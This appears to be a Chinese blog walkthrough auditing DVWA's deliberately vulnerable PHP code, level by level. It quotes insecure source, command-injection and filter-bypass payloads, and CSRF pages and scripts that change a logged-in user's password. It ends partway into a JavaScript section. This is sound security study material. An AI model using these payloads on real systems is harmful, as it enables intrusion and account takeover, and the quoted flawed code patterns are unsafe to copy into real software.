DVWA 代码审计WP
浏览 643 | 评论 0 | 字数 54078
硝基苯
2022年01月12日
  • 很长时间没碰安全,有些生疏,且为了学习代码审计,便把DVWA翻出来再看一看,本文章主要是从代码的角度去分析漏洞,而不是黑盒测试的思路。希望本文能给各位师傅一些帮助。(sqli因为刷过sqli-labs-master所以不是很想再看了。后续有时间我会把后面的WP给整理后放出,前面的WP确实写得不太行,后面也会考虑重写)


    Brute Force

    low等级

    审计代码
    19893-m9r0btp3zwf.png
    漏洞点一:
    可以看到,虽然password会被md5无法注入,但是username没做过滤,所以存在SQLI,且最后会返回查询的内容,所以我们可以采用联合查询注入来出。因为报错没有关,也可以使用报错注入,注入内容放到后面
    98002-svt2dfz00v.png
    漏洞点二:
    没有进行次数限制,所以可以采用爆破的手段直接爆破得到密码

    medium等级

    69876-6ds4gwlyphp.png
    从代码中,我们不难看出,现在代码用了mysqli_real_escape_string函数来转义特殊字符,SQLI不存在。
    当密码输入错误时,延迟2s,返回密码错误,也是直接爆破即可

    high等级

    35940-2m5bpzjqn4s.png
    开头就很显眼,第一步就是检测token不一致,重定向会index.php
    42867-y4vaqtkyjt.png

    这里用了stripslashes函数用于转义,进一步对sqli进行防护。
    最后一个else,密码输入错误,随机延时,干扰用户判断登录是否成功。
    83494-16zagutlvo4.png
    session_token是随机生成的。每次页面都会随机生成一个token,进行判断,如果相等则进入sql语句中查询。
    f12可以看到有个user_token,这个传到上面进行判断
    70735-frx18hg7b9h.png
    所以,我们抓包要获取到响应的user_token作为下一次请求的user_token,以此来绕过爆破

    我们通过请求体可以看到
    65962-7l3z0i6miwd.png
    多了一个user_token,重复放包会发现302跳转,说明这里用user_token进行了防爆破的一个保护,当我们输入密码错误时,会返回到登录界面,这个时候user_token就会进行一次刷新。
    F12可以发现
    49113-oxoant5r1h.png
    页面刷新时会随机产生一个新的user_token,所以,我们需要做的就是将每次这个user_token带入请求中去请求
    方法一:
    采用Burpsuit
    设置爆破位置
    81091-rjp8wcec3hh.png

    设置正则匹配的回显
    09663-0zm14py785o.png

    双击值,自动生成正则
    40085-grja7hym84h.png
    自动获得刚刚的负载
    16781-d2qcip8x03c.png
    线程要求设为1
    26841-zyuhyuoaw0f.png
    开始爆破
    85889-wxywy3wwx1.png

    方法二:
    写爬虫去获取,网上WP挺多,我也不再写了

    impossible

    17005-ehajbp7ld9a.png
    不仅有checktoken,还有次数时间限制,运用了预编译来防止sqli的可能
    70920-nu6pvuqymb.png
    无论是错误还是被锁,一样回显,确保安全

    Command Injection

    前期知识

    常用的命令执行的函数https://www.cnblogs.com/-qing-/p/10819069.html

    linux连接符

    & 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &
    && 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo '2'
    | 表示管道,上一条命令的输出,作为下一条命令参数,如 echo 'yes' | wc -l
    || 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo "fail"
    ;分号表示命令依次执行

    windows连接符

    windows系统有哪些命令行拼接符。
    A&&B,A执行成功后执行B
    A&B,分别执行
    A|B,表示A命令语句的输出,作为B命令语句的输入执行。
    A||B,表示A命令语句执行失败,然后才执行B命令语句。

    low

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        $html .= "<pre>{$cmd}</pre>";
    }
    
    ?>

    首先检测系统名称,stristr忽略大小写匹配出现的位置,调用shell_exec函数,进行命令执行
    可以看到,直接拼接,没有过滤,直接打payload即可0.0.0.0||whoami
    25577-l9btkvcz5ke.png

    medium

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
    
        // Set blacklist
        $substitutions = array(
            '&&' => '',
            ';'  => '',
        );
    
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        $html .= "<pre>{$cmd}</pre>";
    }
    
    ?>
    

    在这两步进行了过滤

    但是仅过滤了&&以及;,所以该绕还是能绕。只要不出现上述两个字符串即可

    high

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = trim($_REQUEST[ 'ip' ]);
    
        // Set blacklist
        $substitutions = array(
            '&'  => '',
            ';'  => '',
            '| ' => '',
            '-'  => '',
            '$'  => '',
            '('  => '',
            ')'  => '',
            '`'  => '',
            '||' => '',
        );
    
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        $html .= "<pre>{$cmd}</pre>";
    }
    
    ?>

    黑名单过滤的是”| ”而非“|”,所以可以绕过

    impossible

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $target = $_REQUEST[ 'ip' ];
        $target = stripslashes( $target );
    
        // Split the IP into 4 octects
        $octet = explode( ".", $target );
    
        // Check IF each octet is an integer
        if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
            // If all 4 octets are int's put the IP back together.
            $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
    
            // Determine OS and execute the ping command.
            if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                // Windows
                $cmd = shell_exec( 'ping  ' . $target );
            }
            else {
                // *nix
                $cmd = shell_exec( 'ping  -c 4 ' . $target );
            }
    
            // Feedback for the end user
            $html .= "<pre>{$cmd}</pre>";
        }
        else {
            // Ops. Let the user name theres a mistake
            $html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>

    stripslashes函数转义,explode将输入的字符串通过.分割成数组,进而用is_numeric进行判断是否为数字,最后重新拼接,放到函数中执行。杜绝了rce的可能

    CSRF

    low

    <?php
    if( isset( $_GET[ 'Change' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
            // Feedback for the user
            $html .= "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            $html .= "<pre>Passwords did not match.</pre>";
        }
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    ?>

    从代码中我们可以看出,未经验证,直接get 一个Change、password_new、password_conf即可完成密码的修改,利用管理员的未知情,浏览器有cookie,即可完成密码的修改
    构造payload
    http://192.168.101.92:8099/dvwa-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change
    密码修改成功
    附一个html

    <html>
        <body>
           <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>var req=new XMLHttpRequest();req.onload=reqListener;req.open("get","http://192.168.101.92:8099/dvwa-master/vulnerabilities/csrf/?password_new=password123&password_conf=password123&Change=Change",true);req.withCredentials=true;req.send();function reqListener(){alert(this.responseText)};</script>'></iframe>
     
        </body> 
    </html>
     

    medium

    94783-1ahz8c5to8r.png
    检测的很粗糙,只要有reffer就行

    high

    在这个等级中,我们看到了它新加了一个token,与上面爆破一样,通过js可以获取到那页面的token
    放一个网上找的

    alert(document.cookie);
    var theUrl = 'http://www.dvwa.com/vulnerabilities/csrf/';
    if(window.XMLHttpRequest) {
        xmlhttp = new XMLHttpRequest();
    }else{
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    var count = 0;
    xmlhttp.withCredentials = true;
    xmlhttp.onreadystatechange=function(){
        if(xmlhttp.readyState ==4 && xmlhttp.status==200)
        {
            var text = xmlhttp.responseText;
            var regex = /user_token\' value\=\'(.*?)\' \/\>/;
            var match = text.match(regex);
            console.log(match);
            alert(match[1]);
                var token = match[1];
                    var new_url = 'http://www.dvwa.com/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';
                    if(count==0){
                        count++;
                        xmlhttp.open("GET",new_url,false);
                        xmlhttp.send();
                    }
                    
     
        }
    };
    xmlhttp.open("GET",theUrl,false);
    xmlhttp.send();
     

    impossible

    21802-e4c0w7x5fk.png
    要求输入当前密码,解决了之前的问题,且有token验证,注入条件不存在

    File Inclusion

    文件包含具体内容我将放到其他章节中,在这只是展示

    low

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    ?>
    
    index.php关键代码
    if( isset( $file ) )
        include( $file );
    else {
        header( 'Location:?page=include.php' );
        exit;
    }
    

    low级别代码很简单
    $file是直接get得来,然后就进入了文件包含
    简单读文件
    75771-6wkjbu4lafk.png
    也可以用绝对路径,注意反斜杠要双写
    26688-azxutm9e1hr.png
    远程文件包含
    要求:allow_url_include = on
    69994-rluxx386z5.png
    也可以getshell
    49280-yoivepus03.png
    其他方法不再赘述

    medium

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Input validation
    $file = str_replace( array( "http://", "https://" ), "", $file );
    $file = str_replace( array( "../", "..\\" ), "", $file );
    
    ?>

    在中级中,http和https协议被过滤,../被过滤,不能路径穿越。但我们注意到,他用了str_replace,并不会遍历,双写即可绕过
    htthttp://p://
    92401-jb4wszxzf6r.png
    ..././
    15022-gvv2wyxfjfo.png

    high

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Input validation
    if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
        // This isn't the page we want!
        echo "ERROR: File not found!";
        exit;
    }
    
    ?>
    

    fnmatch函数用于匹配指定文件,要求文件名一定要有file开头,那简单绕过即可
    13191-8dcxwrazhb8.png
    也可以用file://协议读文件,都行
    08951-8tw4ms8j99e.png

    impossible

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Only allow include.php or file{1..3}.php
    if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
        // This isn't the page we want!
        echo "ERROR: File not found!";
        exit;
    }
    
    ?>
    
    

    已经写死,没办法再文件包含

    File Upload

    low

    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            $html .= '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    
    ?>
    

    文件上传后,会生成一个临时文件,之后通郭move_uploaded_file函数来完成文件上传的全部过程
    可以看到$target_path直接将文件名与路径进行拼合,没有任何过滤,我们可以路径穿越来进行上传文件,达到文件的覆盖,也可以直接上传
    61359-bjym5snzf9q.png

    medium

    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    
        // Is it an image?
        if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
            ( $uploaded_size < 100000 ) ) {
    
            // Can we move the file to the upload folder?
            if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
                // No
                $html .= '<pre>Your image was not uploaded.</pre>';
            }
            else {
                // Yes!
                $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
            }
        }
        else {
            // Invalid file
            $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
    }
    
    ?>
    

    在这段代码中,文件名以及路径仍然是用户可控,限制了文件大小,限制了Content-Type类型,绕过即可
    01057-zit29x4y0f.png

    high

    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    
        // Is it an image?
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
            ( $uploaded_size < 100000 ) &&
            getimagesize( $uploaded_tmp ) ) {
    
            // Can we move the file to the upload folder?
            if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
                // No
                $html .= '<pre>Your image was not uploaded.</pre>';
            }
            else {
                // Yes!
                $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
            }
        }
        else {
            // Invalid file
            $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
    }
    
    ?>
    

    取最后一个点,来做白名单的匹配,我们可以看到它还用了一个getmagesize的函数

    getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。

    因为存在白名单,所以要想办法进行截断
    参考连接:https://www.cnblogs.com/backlion/p/13083120.html
    这里采用了jsshell.php:.png,成功绕过
    39468-6vv5e8p3lms.png
    50611-puys8afij.png

    impossible

    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    
        // Where are we going to be writing to?
        $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
        //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
        $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
        $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
        $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    
        // Is it an image?
        if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
            ( $uploaded_size < 100000 ) &&
            ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
            getimagesize( $uploaded_tmp ) ) {
    
            // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
            if( $uploaded_type == 'image/jpeg' ) {
                $img = imagecreatefromjpeg( $uploaded_tmp );
                imagejpeg( $img, $temp_file, 100);
            }
            else {
                $img = imagecreatefrompng( $uploaded_tmp );
                imagepng( $img, $temp_file, 9);
            }
            imagedestroy( $img );
    
            // Can we move the file to the web root from the temp folder?
            if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
                // Yes!
                $html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
            }
            else {
                // No
                $html .= '<pre>Your image was not uploaded.</pre>';
            }
    
            // Delete any temp files
            if( file_exists( $temp_file ) )
                unlink( $temp_file );
        }
        else {
            // Invalid file
            $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>
    
    

    后缀提取出来,文件名md5,后缀过白名单后进行拼接。
    用imagecreatefromjpeg函数、imagejpeg函数来生成图片文件。
    确实牛

    Insecure CAPTCHA

    low

    如果没注册上也无所谓,不影响做题

    <?php
    
    if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
        // Hide the CAPTCHA form
        $hide_form = true;
    
        // Get input
        $pass_new  = $_POST[ 'password_new' ];
        $pass_conf = $_POST[ 'password_conf' ];
    
        // Check CAPTCHA from 3rd party
        $resp = recaptcha_check_answer(
            $_DVWA[ 'recaptcha_private_key'],
            $_POST['g-recaptcha-response']
        );
    
        // Did the CAPTCHA fail?
        if( !$resp ) {
            // What happens when the CAPTCHA was entered incorrectly
            $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
            $hide_form = false;
            return;
        }
        else {
            // CAPTCHA was correct. Do both new passwords match?
            if( $pass_new == $pass_conf ) {
                // Show next stage for the user
                $html .= "
                    <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                    <form action=\"#\" method=\"POST\">
                        <input type=\"hidden\" name=\"step\" value=\"2\" />
                        <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                        <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                        <input type=\"submit\" name=\"Change\" value=\"Change\" />
                    </form>";
            }
            else {
                // Both new passwords do not match.
                $html     .= "<pre>Both passwords must match.</pre>";
                $hide_form = false;
            }
        }
    }
    
    if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
        // Hide the CAPTCHA form
        $hide_form = true;
    
        // Get input
        $pass_new  = $_POST[ 'password_new' ];
        $pass_conf = $_POST[ 'password_conf' ];
    
        // Check to see if both password match
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the end user
            $html .= "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with the passwords matching
            $html .= "<pre>Passwords did not match.</pre>";
            $hide_form = false;
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?>
    

    可以看到
    step2直接不检测验证码,而进行密码修改
    改包就完事了
    14689-n611sobzppk.png

    medium

    代码和low大差不差的,我们直接看关键代码
    53201-fyq1qibdee.png
    和上面一样,但这多一个passed_captcha的检测,但没检测具体内容
    00399-rfq4znov12f.png

    high

    04419-5cg1tj2wehd.png
    关键点:当POST的g-recaptcha-response为hidd3n_valu3并且http_user_agent为reCAPTCHA时,绕过

    impossible

    代码量比较大,不放出来了
    04104-01yl9r5fyyci.png
    太顶了也

    Weak Session IDs

    用户去访问网站时,往往有一个session,本地有一个cookie去访问。如果这个cookie比较好猜的话就可能越权访问其他用户

    low

    <?php
    
    $html = "";
    
    if ($_SERVER['REQUEST_METHOD'] == "POST") {
        if (!isset ($_SESSION['last_session_id'])) {
            $_SESSION['last_session_id'] = 0;
        }
        $_SESSION['last_session_id']++;
        $cookie_value = $_SESSION['last_session_id'];
        setcookie("dvwaSession", $cookie_value);
    }
    ?>
    

    每请求生成一个sessionID就是+1

    所以我们就改就能越权到其他用户上
    27677-50ypneh6ewg.png

    medium

    <?php
    
    $html = "";
    
    if ($_SERVER['REQUEST_METHOD'] == "POST") {
        $cookie_value = time();
        setcookie("dvwaSession", $cookie_value);
    }
    ?>

    通过时间戳来设置cookie
    15886-bh2sdvrl20t.png
    没啥好说的

    high

    <?php
    
    $html = "";
    
    if ($_SERVER['REQUEST_METHOD'] == "POST") {
        if (!isset ($_SESSION['last_session_id_high'])) {
            $_SESSION['last_session_id_high'] = 0;
        }
        $_SESSION['last_session_id_high']++;
        $cookie_value = md5($_SESSION['last_session_id_high']);
        setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
    }
    
    ?>
    

    63050-tn79b0bvgz.png

    impossible

    <?php
    
    $html = "";
    
    if ($_SERVER['REQUEST_METHOD'] == "POST") {
        $cookie_value = sha1(mt_rand() . time() . "Impossible");
        setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
    }
    ?>

    用了随机数+时间+字符串后的md5
    无法猜测

    JavaScript

    low

    index.php中
    关键部分代码

    if ($token == md5(str_rot13("success"))) {
                            $message = "<p style='color:red'>Well done!</p>";
                        } else {
                            $message = "<p>Invalid token.</p>";
                        }
    

    low.php则是js的token生成的方式

    <?php
    $page[ 'body' ] .= <<<EOF
    <script>
    
    /*
    MD5 code from here
    https://github.com/blueimp/JavaScript-MD5
    */
    
    !function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);
    
        function rot13(inp) {
            return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
        }
    
        function generate_token() {
            var phrase = document.getElementById("phrase").value;
            document.getElementById("token").value = md5(rot13(phrase));
        }
    
        generate_token();
    </script>
    EOF;
    ?>
    

    里面有生成md5的函数,rot13的函数,也有生成token的函数
    由此可知,token的生成是将phrase的值先进行rot13后再md5。结合index.php,要与md5(str_rot13("success")) 相等。
    打开控制台,依次把函数方法放进去,跑出md5值
    00759-hswmufbrvov.png
    82606-99d7010fhi.png
    生成token,再次重新发包
    90506-5irvegii5hq.png
    成功登录
    80551-0as8ne5tsunn.png

    medium

    index.php关键代码

    if ($token == strrev("XXsuccessXX")) {
                            $message = "<p style='color:red'>Well done!</p>";
                        } else {
                            $message = "<p>Invalid token.</p>";
                        }
    

    medium.php中进行了调用
    67494-3vo4yztzx9u.png
    跟进medium.js
    42811-2vj9qn0jwch.png
    可以看到token是如何生成的:
    do_someting()进行字符串反转
    setTimeout()300s后执行一次do_someting
    do_elsesomething()将倒转的值前后加实参和XX

    流程:
    每300毫秒执行一次,do_elsesometing函数,传入XX,token的值就等于XX+phrase的值+XX进行反转
    所以构造出
    75893-6wohhmqrbet.png
    构造出payload

    79999-yijsfeicfuq.png

    high

    去混淆后的代码
    在线去混淆网址http://deobfuscatejavascript.com/

    (function() {
        'use strict';
        var ERROR = 'input is invalid type';
        var WINDOW = typeof window === 'object';
